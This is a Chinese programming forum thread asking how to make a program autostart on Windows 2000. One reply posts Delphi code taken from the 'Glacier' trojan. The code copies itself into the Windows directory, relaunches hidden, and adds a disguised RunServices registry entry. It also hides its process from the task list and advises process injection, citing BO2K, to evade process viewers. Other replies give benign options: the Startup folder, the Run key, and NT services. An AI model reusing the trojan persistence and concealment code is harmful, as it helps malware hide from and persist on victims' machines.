在win2000下怎样才能让程序在系统启动时自启动?(50分)

  • 主题发起人 主题发起人 daisky
  • 开始时间 开始时间
D

daisky

Unregistered / Unconfirmed
GUEST, unregistred user!
在win2000下怎样才能让程序在系统启动时自启动?
在98下的注册表修改没用了。
 
为了程序能在Windows每次启动时自动运行,可以通过六种途径来实现.“冰河”用注册表的方式。
加入Registry单元,改写上面的窗口Create事件,改写后的程序如下:
procedure TForm1.FormCreate(Sender: TObject);
const K = '/Software/Microsoft/Windows/CurrentVersion/RunServices';
var myname: string;
begin
{Write by Lovejingtao,http://Lovejingtao.126.com,Lovejingtao@21cn.com}
myname := ExtractFilename(Application.Exename); //获得文件名
if application.Exename <> GetWindir + myname then //如果文件不是在Windows/System/那么..
begin
copyfile(pchar(application.Exename), pchar(GetWindir + myname), False);{//将自己拷贝到Windows/System/下}
Winexec(pchar(GetWindir + myname), sw_hide);//运行Windows/System/下的新文件
application.Terminate;//退出
end;
with TRegistry.Create do
try
RootKey := HKEY_LOCAL_MACHINE;
OpenKey( K, TRUE );
WriteString( 'syspler', application.ExeName );
finally
free;
end;
end;
为了让程序用ALT+DEL+CTRL看不见,在implementation后添加声明:
function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer; stdcall; external 'KERNEL32.DLL';
再在上面的窗口Create事件加上一句:RegisterServiceProcess(GetCurrentProcessID, 1);//隐藏
注意:如果系统为NT,应该改用把自己挂到别的进程里面实现真正的隐藏.这样一来用进程查看器也无法发现其进程.具体可以参考BO2K的代码.如果你还是要用上面的方法,那么可以这样:
function My_SelfHide: Boolean;
type
TRegisterServiceProcess = function(dwProcessID, dwType: DWord): DWORD; stdcall;
var
hNdl: THandle;
RegisterServiceProcess: TRegisterServiceProcess;
begin
Result := False;
if Win32Platform <> VER_PLATFORM_WIN32_NT then //不是NT
begin
hNdl := LoadLibrary('KERNEL32.DLL');
RegisterServiceProcess := GetProcAddress(hNdl, 'RegisterServiceProcess');
RegisterServiceProcess(GetCurrentProcessID, 1);
FreeLibrary(hNdl);
Result := True;
end
else
Exit;
end;
 
修改注册表应该可以的,瑞星一直都是这么干的
 
在开始->程序->启动,中加入不就可以了吗?
 
注册表
HKEY_LOCAL_MACHINE/Software/Microsoft/Windows/CurrentVersion/Run
里面的程序需要用户登录才运行
如果你想你的程序不登录就运行
那么要写成nt service程序
 
后退
顶部